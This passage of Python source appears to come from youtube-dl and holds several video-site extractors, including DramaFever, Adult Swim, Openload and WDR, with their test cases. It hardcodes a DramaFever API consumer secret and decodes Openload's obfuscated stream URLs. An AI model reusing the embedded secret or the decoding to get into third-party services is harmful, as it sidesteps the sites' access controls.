    _LOGIN_URL = 'https://www.dramafever.com/accounts/login/'
    _NETRC_MACHINE = 'dramafever'

    _CONSUMER_SECRET = 'DA59dtVXYLxajktV'

    _consumer_secret = None

    def _get_consumer_secret(self):
        mainjs = self._download_webpage(
            'http://www.dramafever.com/static/51afe95/df2014/scripts/main.js',
            None, 'Downloading main.js', fatal=False)
        if not mainjs:
            return self._CONSUMER_SECRET
        return self._search_regex(
            r"var\s+cs\s*=\s*'([^']+)'", mainjs,
            'consumer secret', default=self._CONSUMER_SECRET)

    def _real_initialize(self):
        self._login()
        self._consumer_secret = self._get_consumer_secret()

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None:
            return

        login_form = {
            'username': username,
            'password': password,
        }

        request = sanitized_Request(
            self._LOGIN_URL, urlencode_postdata(login_form))
        response = self._download_webpage(
            request, None, 'Logging in as %s' % username)

        if all(logout_pattern not in response
               for logout_pattern in ['href="/accounts/logout/"', '>Log out<']):
            error = self._html_search_regex(
                r'(?s)class="hidden-xs prompt"[^>]*>(.+?)<',
                response, 'error message', default=None)
            if error:
                raise ExtractorError('Unable to login: %s' % error, expected=True)
            raise ExtractorError('Unable to log in')


class DramaFeverIE(DramaFeverBaseIE):
    IE_NAME = 'dramafever'
    _VALID_URL = r'https?://(?:www\.)?dramafever\.com/drama/(?P<id>[0-9]+/[0-9]+)(?:/|$)'
    _TESTS = [{
        'url': 'http://www.dramafever.com/drama/4512/1/Cooking_with_Shin/',
        'info_dict': {
            'id': '4512.1',
            'ext': 'mp4',
            'title': 'Cooking with Shin 4512.1',
            'description': 'md5:a8eec7942e1664a6896fcd5e1287bfd0',
            'episode': 'Episode 1',
            'episode_number': 1,
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1404336058,
            'upload_date': '20140702',
            'duration': 343,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.dramafever.com/drama/4826/4/Mnet_Asian_Music_Awards_2015/?ap=1',
        'info_dict': {
            'id': '4826.4',
            'ext': 'mp4',
            'title': 'Mnet Asian Music Awards 2015 4826.4',
            'description': 'md5:3ff2ee8fedaef86e076791c909cf2e91',
            'episode': 'Mnet Asian Music Awards 2015 - Part 3',
            'episode_number': 4,
            'thumbnail': 're:^https?://.*\.jpg',
            'timestamp': 1450213200,
            'upload_date': '20151215',
            'duration': 5602,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url).replace('/', '.')

        try:
            info = self._extract_feed_info(
                'http://www.dramafever.com/amp/episode/feed.json?guid=%s' % video_id)
        except ExtractorError as e:
            if isinstance(e.cause, compat_HTTPError):
                raise ExtractorError(
                    'Currently unavailable in your country.', expected=True)
            raise

        series_id, episode_number = video_id.split('.')
        episode_info = self._download_json(
            # We only need a single episode info, so restricting page size to one episode
            # and dealing with page number as with episode number
            r'http://www.dramafever.com/api/4/episode/series/?cs=%s&series_id=%s&page_number=%s&page_size=1'
            % (self._consumer_secret, series_id, episode_number),
            video_id, 'Downloading episode info JSON', fatal=False)
        if episode_info:
            value = episode_info.get('value')
            if isinstance(value, list):
                for v in value:
                    if v.get('type') == 'Episode':
                        subfile = v.get('subfile') or v.get('new_subfile')
                        if subfile and subfile != 'http://www.dramafever.com/st/':
                            info.setdefault('subtitles', {}).setdefault('English', []).append({
                                'ext': 'srt',
                                'url': subfile,
                            })
                        episode_number = int_or_none(v.get('number'))
                        episode_fallback = 'Episode'
                        if episode_number:
                            episode_fallback += ' %d' % episode_number
                        info['episode'] = v.get('title') or episode_fallback
                        info['episode_number'] = episode_number
                        break

        return info


class DramaFeverSeriesIE(DramaFeverBaseIE):
    IE_NAME = 'dramafever:series'
    _VALID_URL = r'https?://(?:www\.)?dramafever\.com/drama/(?P<id>[0-9]+)(?:/(?:(?!\d+(?:/|$)).+)?)?$'
    _TESTS = [{
        'url': 'http://www.dramafever.com/drama/4512/Cooking_with_Shin/',
        'info_dict': {
            'id': '4512',
            'title': 'Cooking with Shin',
            'description': 'md5:84a3f26e3cdc3fb7f500211b3593b5c1',
        },
        'playlist_count': 4,
    }, {
        'url': 'http://www.dramafever.com/drama/124/IRIS/',
        'info_dict': {
            'id': '124',
            'title': 'IRIS',
            'description': 'md5:b3a30e587cf20c59bd1c01ec0ee1b862',
        },
        'playlist_count': 20,
    }]

    _PAGE_SIZE = 60  # max is 60 (see http://api.drama9.com/#get--api-4-episode-series-)

    def _real_extract(self, url):
        series_id = self._match_id(url)

        series = self._download_json(
            'http://www.dramafever.com/api/4/series/query/?cs=%s&series_id=%s'
            % (self._consumer_secret, series_id),
            series_id, 'Downloading series JSON')['series'][series_id]

        title = clean_html(series['name'])
        description = clean_html(series.get('description') or series.get('description_short'))

        entries = []
        for page_num in itertools.count(1):
            episodes = self._download_json(
                'http://www.dramafever.com/api/4/episode/series/?cs=%s&series_id=%s&page_size=%d&page_number=%d'
                % (self._consumer_secret, series_id, self._PAGE_SIZE, page_num),
                series_id, 'Downloading episodes JSON page #%d' % page_num)
            for episode in episodes.get('value', []):
                episode_url = episode.get('episode_url')
                if not episode_url:
                    continue
                entries.append(self.url_result(
                    compat_urlparse.urljoin(url, episode_url),
                    'DramaFever', episode.get('guid')))
            if page_num == episodes['num_pages']:
                break

        return self.playlist_result(entries, series_id, title, description)






from __future__ import unicode_literals

import base64

from .common import InfoExtractor
from ..compat import compat_parse_qs


class TutvIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?tu\.tv/videos/(?P<id>[^/?]+)'
    _TEST = {
        'url': 'http://tu.tv/videos/robots-futbolistas',
        'md5': '0cd9e28ad270488911b0d2a72323395d',
        'info_dict': {
            'id': '2973058',
            'ext': 'mp4',
            'title': 'Robots futbolistas',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        internal_id = self._search_regex(r'codVideo=([0-9]+)', webpage, 'internal video ID')

        data_content = self._download_webpage(
            'http://tu.tv/flvurl.php?codVideo=%s' % internal_id, video_id, 'Downloading video info')
        video_url = base64.b64decode(compat_parse_qs(data_content)['kpt'][0].encode('utf-8')).decode('utf-8')

        return {
            'id': internal_id,
            'url': video_url,
            'title': self._og_search_title(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

from .jwplatform import JWPlatformBaseIE
from ..utils import (
    decode_packed_codes,
    js_to_json,
)


class VidziIE(JWPlatformBaseIE):
    _VALID_URL = r'https?://(?:www\.)?vidzi\.tv/(?:embed-)?(?P<id>[0-9a-zA-Z]+)'
    _TESTS = [{
        'url': 'http://vidzi.tv/cghql9yq6emu.html',
        'md5': '4f16c71ca0c8c8635ab6932b5f3f1660',
        'info_dict': {
            'id': 'cghql9yq6emu',
            'ext': 'mp4',
            'title': 'youtube-dl test video  1\\\\2\'3/4<5\\\\6ä7↭',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://vidzi.tv/embed-4z2yb0rzphe9-600x338.html',
        'skip_download': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://vidzi.tv/%s' % video_id, video_id)
        title = self._html_search_regex(
            r'(?s)<h2 class="video-title">(.*?)</h2>', webpage, 'title')

        code = decode_packed_codes(webpage).replace('\\\'', '\'')
        jwplayer_data = self._parse_json(
            self._search_regex(r'setup\(([^)]+)\)', code, 'jwplayer data'),
            video_id, transform_source=js_to_json)

        info_dict = self._parse_jwplayer_data(jwplayer_data, video_id, require_title=False)
        info_dict['title'] = title

        return info_dict






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    ExtractorError,
    float_or_none,
    xpath_text,
)


class AdultSwimIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?adultswim\.com/videos/(?P<is_playlist>playlists/)?(?P<show_path>[^/]+)/(?P<episode_path>[^/?#]+)/?'

    _TESTS = [{
        'url': 'http://adultswim.com/videos/rick-and-morty/pilot',
        'playlist': [
            {
                'md5': '247572debc75c7652f253c8daa51a14d',
                'info_dict': {
                    'id': 'rQxZvXQ4ROaSOqq-or2Mow-0',
                    'ext': 'flv',
                    'title': 'Rick and Morty - Pilot Part 1',
                    'description': "Rick moves in with his daughter's family and establishes himself as a bad influence on his grandson, Morty. "
                },
            },
            {
                'md5': '77b0e037a4b20ec6b98671c4c379f48d',
                'info_dict': {
                    'id': 'rQxZvXQ4ROaSOqq-or2Mow-3',
                    'ext': 'flv',
                    'title': 'Rick and Morty - Pilot Part 4',
                    'description': "Rick moves in with his daughter's family and establishes himself as a bad influence on his grandson, Morty. "
                },
            },
        ],
        'info_dict': {
            'id': 'rQxZvXQ4ROaSOqq-or2Mow',
            'title': 'Rick and Morty - Pilot',
            'description': "Rick moves in with his daughter's family and establishes himself as a bad influence on his grandson, Morty. "
        },
        'skip': 'This video is only available for registered users',
    }, {
        'url': 'http://www.adultswim.com/videos/playlists/american-parenting/putting-francine-out-of-business/',
        'playlist': [
            {
                'md5': '2eb5c06d0f9a1539da3718d897f13ec5',
                'info_dict': {
                    'id': '-t8CamQlQ2aYZ49ItZCFog-0',
                    'ext': 'flv',
                    'title': 'American Dad - Putting Francine Out of Business',
                    'description': 'Stan hatches a plan to get Francine out of the real estate business.Watch more American Dad on [adult swim].'
                },
            }
        ],
        'info_dict': {
            'id': '-t8CamQlQ2aYZ49ItZCFog',
            'title': 'American Dad - Putting Francine Out of Business',
            'description': 'Stan hatches a plan to get Francine out of the real estate business.Watch more American Dad on [adult swim].'
        },
    }, {
        'url': 'http://www.adultswim.com/videos/tim-and-eric-awesome-show-great-job/dr-steve-brule-for-your-wine/',
        'playlist': [
            {
                'md5': '3e346a2ab0087d687a05e1e7f3b3e529',
                'info_dict': {
                    'id': 'sY3cMUR_TbuE4YmdjzbIcQ-0',
                    'ext': 'mp4',
                    'title': 'Tim and Eric Awesome Show Great Job! - Dr. Steve Brule, For Your Wine',
                    'description': 'Dr. Brule reports live from Wine Country with a special report on wines.  \r\nWatch Tim and Eric Awesome Show Great Job! episode #20, "Embarrassed" on Adult Swim.\r\n\r\n',
                },
            }
        ],
        'info_dict': {
            'id': 'sY3cMUR_TbuE4YmdjzbIcQ',
            'title': 'Tim and Eric Awesome Show Great Job! - Dr. Steve Brule, For Your Wine',
            'description': 'Dr. Brule reports live from Wine Country with a special report on wines.  \r\nWatch Tim and Eric Awesome Show Great Job! episode #20, "Embarrassed" on Adult Swim.\r\n\r\n',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }, {
        # heroMetadata.trailer
        'url': 'http://www.adultswim.com/videos/decker/inside-decker-a-new-hero/',
        'info_dict': {
            'id': 'I0LQFQkaSUaFp8PnAWHhoQ',
            'ext': 'mp4',
            'title': 'Decker - Inside Decker: A New Hero',
            'description': 'md5:c916df071d425d62d70c86d4399d3ee0',
            'duration': 249.008,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        }
    }]

    @staticmethod
    def find_video_info(collection, slug):
        for video in collection.get('videos'):
            if video.get('slug') == slug:
                return video

    @staticmethod
    def find_collection_by_linkURL(collections, linkURL):
        for collection in collections:
            if collection.get('linkURL') == linkURL:
                return collection

    @staticmethod
    def find_collection_containing_video(collections, slug):
        for collection in collections:
            for video in collection.get('videos'):
                if video.get('slug') == slug:
                    return collection, video
        return None, None

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        show_path = mobj.group('show_path')
        episode_path = mobj.group('episode_path')
        is_playlist = True if mobj.group('is_playlist') else False

        webpage = self._download_webpage(url, episode_path)

        # Extract the value of `bootstrappedData` from the Javascript in the page.
        bootstrapped_data = self._parse_json(self._search_regex(
            r'var bootstrappedData = ({.*});', webpage, 'bootstraped data'), episode_path)

        # Downloading videos from a /videos/playlist/ URL needs to be handled differently.
        # NOTE: We are only downloading one video (the current one) not the playlist
        if is_playlist:
            collections = bootstrapped_data['playlists']['collections']
            collection = self.find_collection_by_linkURL(collections, show_path)
            video_info = self.find_video_info(collection, episode_path)

            show_title = video_info['showTitle']
            segment_ids = [video_info['videoPlaybackID']]
        else:
            collections = bootstrapped_data['show']['collections']
            collection, video_info = self.find_collection_containing_video(collections, episode_path)
            # Video wasn't found in the collections, let's try `slugged_video`.
            if video_info is None:
                if bootstrapped_data.get('slugged_video', {}).get('slug') == episode_path:
                    video_info = bootstrapped_data['slugged_video']
            if not video_info:
                video_info = bootstrapped_data.get('heroMetadata', {}).get('trailer').get('video')
            if not video_info:
                raise ExtractorError('Unable to find video info')

            show = bootstrapped_data['show']
            show_title = show['title']
            stream = video_info.get('stream')
            if stream and stream.get('videoPlaybackID'):
                segment_ids = [stream['videoPlaybackID']]
            elif video_info.get('clips'):
                segment_ids = [clip['videoPlaybackID'] for clip in video_info['clips']]
            elif video_info.get('videoPlaybackID'):
                segment_ids = [video_info['videoPlaybackID']]
            else:
                raise ExtractorError(
                    'This video is only available via cable service provider subscription that'
                    ' is not currently supported. You may want to use --cookies.'
                    if video_info.get('auth') is True else 'Unable to find stream or clips',
                    expected=True)

        episode_id = video_info['id']
        episode_title = video_info['title']
        episode_description = video_info['description']
        episode_duration = video_info.get('duration')

        entries = []
        for part_num, segment_id in enumerate(segment_ids):
            segment_url = 'http://www.adultswim.com/videos/api/v0/assets?id=%s&platform=desktop' % segment_id

            segment_title = '%s - %s' % (show_title, episode_title)
            if len(segment_ids) > 1:
                segment_title += ' Part %d' % (part_num + 1)

            idoc = self._download_xml(
                segment_url, segment_title,
                'Downloading segment information', 'Unable to download segment information')

            segment_duration = float_or_none(
                xpath_text(idoc, './/trt', 'segment duration').strip())

            formats = []
            file_els = idoc.findall('.//files/file') or idoc.findall('./files/file')

            unique_urls = []
            unique_file_els = []
            for file_el in file_els:
                media_url = file_el.text
                if not media_url or determine_ext(media_url) == 'f4m':
                    continue
                if file_el.text not in unique_urls:
                    unique_urls.append(file_el.text)
                    unique_file_els.append(file_el)

            for file_el in unique_file_els:
                bitrate = file_el.attrib.get('bitrate')
                ftype = file_el.attrib.get('type')
                media_url = file_el.text
                if determine_ext(media_url) == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        media_url, segment_title, 'mp4', preference=0,
                        m3u8_id='hls', fatal=False))
                else:
                    formats.append({
                        'format_id': '%s_%s' % (bitrate, ftype),
                        'url': file_el.text.strip(),
                        # The bitrate may not be a number (for example: 'iphone')
                        'tbr': int(bitrate) if bitrate.isdigit() else None,
                    })

            self._sort_formats(formats)

            entries.append({
                'id': segment_id,
                'title': segment_title,
                'formats': formats,
                'duration': segment_duration,
                'description': episode_description
            })

        return {
            '_type': 'playlist',
            'id': episode_id,
            'display_id': episode_path,
            'entries': entries,
            'title': '%s - %s' % (show_title, episode_title),
            'description': episode_description,
            'duration': episode_duration
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class GameInformerIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gameinformer\.com/(?:[^/]+/)*(?P<id>.+)\.aspx'
    _TEST = {
        'url': 'http://www.gameinformer.com/b/features/archive/2015/09/26/replay-animal-crossing.aspx',
        'md5': '292f26da1ab4beb4c9099f1304d2b071',
        'info_dict': {
            'id': '4515472681001',
            'ext': 'mp4',
            'title': 'Replay - Animal Crossing',
            'description': 'md5:2e211891b215c85d061adc7a4dd2d930',
            'timestamp': 1443457610,
            'upload_date': '20150928',
            'uploader_id': '694940074001',
        },
    }
    BRIGHTCOVE_URL_TEMPLATE = 'http://players.brightcove.net/694940074001/default_default/index.html?videoId=%s'

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        brightcove_id = self._search_regex(r"getVideo\('[^']+video_id=(\d+)", webpage, 'brightcove id')
        return self.url_result(self.BRIGHTCOVE_URL_TEMPLATE % brightcove_id, 'BrightcoveNew', brightcove_id)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_unquote,
    compat_xpath,
)
from ..utils import (
    int_or_none,
    find_xpath_attr,
    xpath_text,
    update_url_query,
)


class NozIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?noz\.de/video/(?P<id>[0-9]+)/'
    _TESTS = [{
        'url': 'http://www.noz.de/video/25151/32-Deutschland-gewinnt-Badminton-Lnderspiel-in-Melle',
        'info_dict': {
            'id': '25151',
            'ext': 'mp4',
            'duration': 215,
            'title': '3:2 - Deutschland gewinnt Badminton-Länderspiel in Melle',
            'description': 'Vor rund 370 Zuschauern gewinnt die deutsche Badminton-Nationalmannschaft am Donnerstag ein EM-Vorbereitungsspiel gegen Frankreich in Melle. Video Moritz Frankenberg.',
            'thumbnail': 're:^http://.*\.jpg',
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        description = self._og_search_description(webpage)

        edge_url = self._html_search_regex(
            r'<script\s+(?:type="text/javascript"\s+)?src="(.*?/videojs_.*?)"',
            webpage, 'edge URL')
        edge_content = self._download_webpage(edge_url, 'meta configuration')

        config_url_encoded = self._search_regex(
            r'so\.addVariable\("config_url","[^,]*,(.*?)"',
            edge_content, 'config URL'
        )
        config_url = compat_urllib_parse_unquote(config_url_encoded)

        doc = self._download_xml(config_url, 'video configuration')
        title = xpath_text(doc, './/title')
        thumbnail = xpath_text(doc, './/article/thumbnail/url')
        duration = int_or_none(xpath_text(
            doc, './/article/movie/file/duration'))
        formats = []
        for qnode in doc.findall(compat_xpath('.//article/movie/file/qualities/qual')):
            http_url_ele = find_xpath_attr(
                qnode, './html_urls/video_url', 'format', 'video/mp4')
            http_url = http_url_ele.text if http_url_ele is not None else None
            if http_url:
                formats.append({
                    'url': http_url,
                    'format_name': xpath_text(qnode, './name'),
                    'format_id': '%s-%s' % ('http', xpath_text(qnode, './id')),
                    'height': int_or_none(xpath_text(qnode, './height')),
                    'width': int_or_none(xpath_text(qnode, './width')),
                    'tbr': int_or_none(xpath_text(qnode, './bitrate'), scale=1000),
                })
            else:
                f4m_url = xpath_text(qnode, 'url_hd2')
                if f4m_url:
                    formats.extend(self._extract_f4m_formats(
                        update_url_query(f4m_url, {'hdcore': '3.4.0'}),
                        video_id, f4m_id='hds', fatal=False))
                m3u8_url_ele = find_xpath_attr(
                    qnode, './html_urls/video_url',
                    'format', 'application/vnd.apple.mpegurl')
                m3u8_url = m3u8_url_ele.text if m3u8_url_ele is not None else None
                if m3u8_url:
                    formats.extend(self._extract_m3u8_formats(
                        m3u8_url, video_id, 'mp4', 'm3u8_native',
                        m3u8_id='hls', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'duration': duration,
            'description': description,
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    js_to_json,
    remove_end,
    unified_strdate,
)


class VidbitIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?vidbit\.co/(?:watch|embed)\?.*?\bv=(?P<id>[\da-zA-Z]+)'
    _TESTS = [{
        'url': 'http://www.vidbit.co/watch?v=jkL2yDOEq2',
        'md5': '1a34b7f14defe3b8fafca9796892924d',
        'info_dict': {
            'id': 'jkL2yDOEq2',
            'ext': 'mp4',
            'title': 'Intro to VidBit',
            'description': 'md5:5e0d6142eec00b766cbf114bfd3d16b7',
            'thumbnail': 're:https?://.*\.jpg$',
            'upload_date': '20160618',
            'view_count': int,
            'comment_count': int,
        }
    }, {
        'url': 'http://www.vidbit.co/embed?v=jkL2yDOEq2&auto=0&water=0',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(
            compat_urlparse.urljoin(url, '/watch?v=%s' % video_id), video_id)

        video_url, title = [None] * 2

        config = self._parse_json(self._search_regex(
            r'(?s)\.setup\(({.+?})\);', webpage, 'setup', default='{}'),
            video_id, transform_source=js_to_json)
        if config:
            if config.get('file'):
                video_url = compat_urlparse.urljoin(url, config['file'])
            title = config.get('title')

        if not video_url:
            video_url = compat_urlparse.urljoin(url, self._search_regex(
                r'file\s*:\s*(["\'])(?P<url>(?:(?!\1).)+)\1',
                webpage, 'video URL', group='url'))

        if not title:
            title = remove_end(
                self._html_search_regex(
                    (r'<h1>(.+?)</h1>', r'<title>(.+?)</title>'),
                    webpage, 'title', default=None) or self._og_search_title(webpage),
                ' - VidBit')

        description = self._html_search_meta(
            ('description', 'og:description', 'twitter:description'),
            webpage, 'description')

        upload_date = unified_strdate(self._html_search_meta(
            'datePublished', webpage, 'upload date'))

        view_count = int_or_none(self._search_regex(
            r'<strong>(\d+)</strong> views',
            webpage, 'view count', fatal=False))
        comment_count = int_or_none(self._search_regex(
            r'id=["\']cmt_num["\'][^>]*>\((\d+)\)',
            webpage, 'comment count', fatal=False))

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'description': description,
            'thumbnail': self._og_search_thumbnail(webpage),
            'upload_date': upload_date,
            'view_count': view_count,
            'comment_count': comment_count,
        }






# coding: utf-8
from __future__ import unicode_literals, division

from .common import InfoExtractor
from ..compat import (
    compat_chr,
    compat_ord,
)
from ..utils import (
    determine_ext,
    ExtractorError,
)


class OpenloadIE(InfoExtractor):
    _VALID_URL = r'https://openload.(?:co|io)/(?:f|embed)/(?P<id>[a-zA-Z0-9-_]+)'

    _TESTS = [{
        'url': 'https://openload.co/f/kUEfGclsU9o',
        'md5': 'bf1c059b004ebc7a256f89408e65c36e',
        'info_dict': {
            'id': 'kUEfGclsU9o',
            'ext': 'mp4',
            'title': 'skyrim_no-audio_1080.mp4',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'https://openload.co/embed/kUEfGclsU9o/skyrim_no-audio_1080.mp4',
        'only_matching': True,
    }, {
        'url': 'https://openload.io/f/ZAn6oz-VZGE/',
        'only_matching': True,
    }, {
        'url': 'https://openload.co/f/_-ztPaZtMhM/',
        'only_matching': True,
    }, {
        # unavailable via https://openload.co/f/Sxz5sADo82g/, different layout
        # for title and ext
        'url': 'https://openload.co/embed/Sxz5sADo82g/',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage('https://openload.co/embed/%s/' % video_id, video_id)

        if 'File not found' in webpage or 'deleted by the owner' in webpage:
            raise ExtractorError('File not found', expected=True)

        # The following decryption algorithm is written by @yokrysty and
        # declared to be freely used in youtube-dl
        # See https://github.com/rg3/youtube-dl/issues/10408
        enc_data = self._html_search_regex(
            r'<span[^>]+id="hiddenurl"[^>]*>([^<]+)</span>', webpage, 'encrypted data')

        video_url_chars = []

        for c in enc_data:
            j = compat_ord(c)
            if j >= 33 and j <= 126:
                j = ((j + 14) % 94) + 33
            video_url_chars += compat_chr(j)

        video_url = 'https://openload.co/stream/%s?mime=true' % ''.join(video_url_chars)

        title = self._og_search_title(webpage, default=None) or self._search_regex(
            r'<span[^>]+class=["\']title["\'][^>]*>([^<]+)', webpage,
            'title', default=None) or self._html_search_meta(
            'description', webpage, 'title', fatal=True)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'url': video_url,
            # Seems all videos have extensions in their titles
            'ext': determine_ext(title),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class WeiqiTVIE(InfoExtractor):
    IE_DESC = 'WQTV'
    _VALID_URL = r'https?://www\.weiqitv\.com/index/video_play\?videoId=(?P<id>[A-Za-z0-9]+)'

    _TESTS = [{
        'url': 'http://www.weiqitv.com/index/video_play?videoId=53c744f09874f0e76a8b46f3',
        'md5': '26450599afd64c513bc77030ad15db44',
        'info_dict': {
            'id': '53c744f09874f0e76a8b46f3',
            'ext': 'mp4',
            'title': '2013年度盘点',
        },
    }, {
        'url': 'http://www.weiqitv.com/index/video_play?videoId=567379a2d4c36cca518b4569',
        'info_dict': {
            'id': '567379a2d4c36cca518b4569',
            'ext': 'mp4',
            'title': '民国围棋史',
        },
    }, {
        'url': 'http://www.weiqitv.com/index/video_play?videoId=5430220a9874f088658b4567',
        'info_dict': {
            'id': '5430220a9874f088658b4567',
            'ext': 'mp4',
            'title': '二路托过的手段和运用',
        },
    }]

    def _real_extract(self, url):
        media_id = self._match_id(url)
        page = self._download_webpage(url, media_id)

        info_json_str = self._search_regex(
            'var\s+video\s*=\s*(.+});', page, 'info json str')
        info_json = self._parse_json(info_json_str, media_id)

        letvcloud_url = self._search_regex(
            'var\s+letvurl\s*=\s*"([^"]+)', page, 'letvcloud url')

        return {
            '_type': 'url_transparent',
            'ie_key': 'LetvCloud',
            'url': letvcloud_url,
            'title': info_json['name'],
            'id': media_id,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    determine_ext,
    ExtractorError,
    js_to_json,
    strip_jsonp,
    unified_strdate,
    update_url_query,
    urlhandle_detect_ext,
)


class WDRBaseIE(InfoExtractor):
    def _extract_wdr_video(self, webpage, display_id):
        # for wdr.de the data-extension is in a tag with the class "mediaLink"
        # for wdr.de radio players, in a tag with the class "wdrrPlayerPlayBtn"
        # for wdrmaus its in a link to the page in a multiline "videoLink"-tag
        json_metadata = self._html_search_regex(
            r'class=(?:"(?:mediaLink|wdrrPlayerPlayBtn)\b[^"]*"[^>]+|"videoLink\b[^"]*"[\s]*>\n[^\n]*)data-extension="([^"]+)"',
            webpage, 'media link', default=None, flags=re.MULTILINE)

        if not json_metadata:
            return

        media_link_obj = self._parse_json(json_metadata, display_id,
                                          transform_source=js_to_json)
        jsonp_url = media_link_obj['mediaObj']['url']

        metadata = self._download_json(
            jsonp_url, 'metadata', transform_source=strip_jsonp)

        metadata_tracker_data = metadata['trackerData']
        metadata_media_resource = metadata['mediaResource']

        formats = []

        # check if the metadata contains a direct URL to a file
        for kind, media_resource in metadata_media_resource.items():
            if kind not in ('dflt', 'alt'):
                continue

            for tag_name, medium_url in media_resource.items():
                if tag_name not in ('videoURL', 'audioURL'):
                    continue

                ext = determine_ext(medium_url)
                if ext == 'm3u8':
                    formats.extend(self._extract_m3u8_formats(
                        medium_url, display_id, 'mp4', 'm3u8_native',
                        m3u8_id='hls'))
                elif ext == 'f4m':
                    manifest_url = update_url_query(
                        medium_url, {'hdcore': '3.2.0', 'plugin': 'aasp-3.2.0.77.18'})
                    formats.extend(self._extract_f4m_formats(
                        manifest_url, display_id, f4m_id='hds', fatal=False))
                elif ext == 'smil':
                    formats.extend(self._extract_smil_formats(
                        medium_url, 'stream', fatal=False))
                else:
                    a_format = {
                        'url': medium_url
                    }
                    if ext == 'unknown_video':
                        urlh = self._request_webpage(
                            medium_url, display_id, note='Determining extension')
                        ext = urlhandle_detect_ext(urlh)
                        a_format['ext'] = ext
                    formats.append(a_format)

        self._sort_formats(formats)

        subtitles = {}
        caption_url = metadata_media_resource.get('captionURL')
        if caption_url:
            subtitles['de'] = [{
                'url': caption_url,
                'ext': 'ttml',
            }]

        title = metadata_tracker_data['trackerClipTitle']

        return {
            'id': metadata_tracker_data.get('trackerClipId', display_id),
            'display_id': display_id,
            'title': title,
            'alt_title': metadata_tracker_data.get('trackerClipSubcategory'),
            'formats': formats,
            'subtitles': subtitles,
            'upload_date': unified_strdate(metadata_tracker_data.get('trackerClipAirTime')),
        }


class WDRIE(WDRBaseIE):
    _CURRENT_MAUS_URL = r'https?://(?:www\.)wdrmaus.de/(?:[^/]+/){1,2}[^/?#]+\.php5'
    _PAGE_REGEX = r'/(?:mediathek/)?[^/]+/(?P<type>[^/]+)/(?P<display_id>.+)\.html'
    _VALID_URL = r'(?P<page_url>https?://(?:www\d\.)?wdr\d?\.de)' + _PAGE_REGEX + '|' + _CURRENT_MAUS_URL

    _TESTS = [
        {
            'url': 'http://www1.wdr.de/mediathek/video/sendungen/doku-am-freitag/video-geheimnis-aachener-dom-100.html',
            # HDS download, MD5 is unstable
            'info_dict': {
                'id': 'mdb-1058683',
                'ext': 'flv',
                'display_id': 'doku-am-freitag/video-geheimnis-aachener-dom-100',
                'title': 'Geheimnis Aachener Dom',
                'alt_title': 'Doku am Freitag',
                'upload_date': '20160304',
                'description': 'md5:87be8ff14d8dfd7a7ee46f0299b52318',
                'is_live': False,
                'subtitles': {'de': [{
                    'url': 'http://ondemand-ww.wdr.de/medp/fsk0/105/1058683/1058683_12220974.xml',
                    'ext': 'ttml',
                }]},
            },
        },
        {
            'url': 'http://www1.wdr.de/mediathek/audio/wdr3/wdr3-gespraech-am-samstag/audio-schriftstellerin-juli-zeh-100.html',
            'md5': 'f4c1f96d01cf285240f53ea4309663d8',
            'info_dict': {
                'id': 'mdb-1072000',
                'ext': 'mp3',
                'display_id': 'wdr3-gespraech-am-samstag/audio-schriftstellerin-juli-zeh-100',
                'title': 'Schriftstellerin Juli Zeh',
                'alt_title': 'WDR 3 Gespräch am Samstag',
                'upload_date': '20160312',
                'description': 'md5:e127d320bc2b1f149be697ce044a3dd7',
                'is_live': False,
                'subtitles': {}
            },
        },
        {
            'url': 'http://www1.wdr.de/mediathek/video/live/index.html',
            'info_dict': {
                'id': 'mdb-103364',
                'ext': 'mp4',
                'display_id': 'index',
                'title': r're:^WDR Fernsehen im Livestream [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
                'alt_title': 'WDR Fernsehen Live',
                'upload_date': None,
                'description': 'md5:ae2ff888510623bf8d4b115f95a9b7c9',
                'is_live': True,
                'subtitles': {}
            },
            'params': {
                'skip_download': True,  # m3u8 download
            },
        },
        {
            'url': 'http://www1.wdr.de/mediathek/video/sendungen/aktuelle-stunde/aktuelle-stunde-120.html',
            'playlist_mincount': 8,
            'info_dict': {
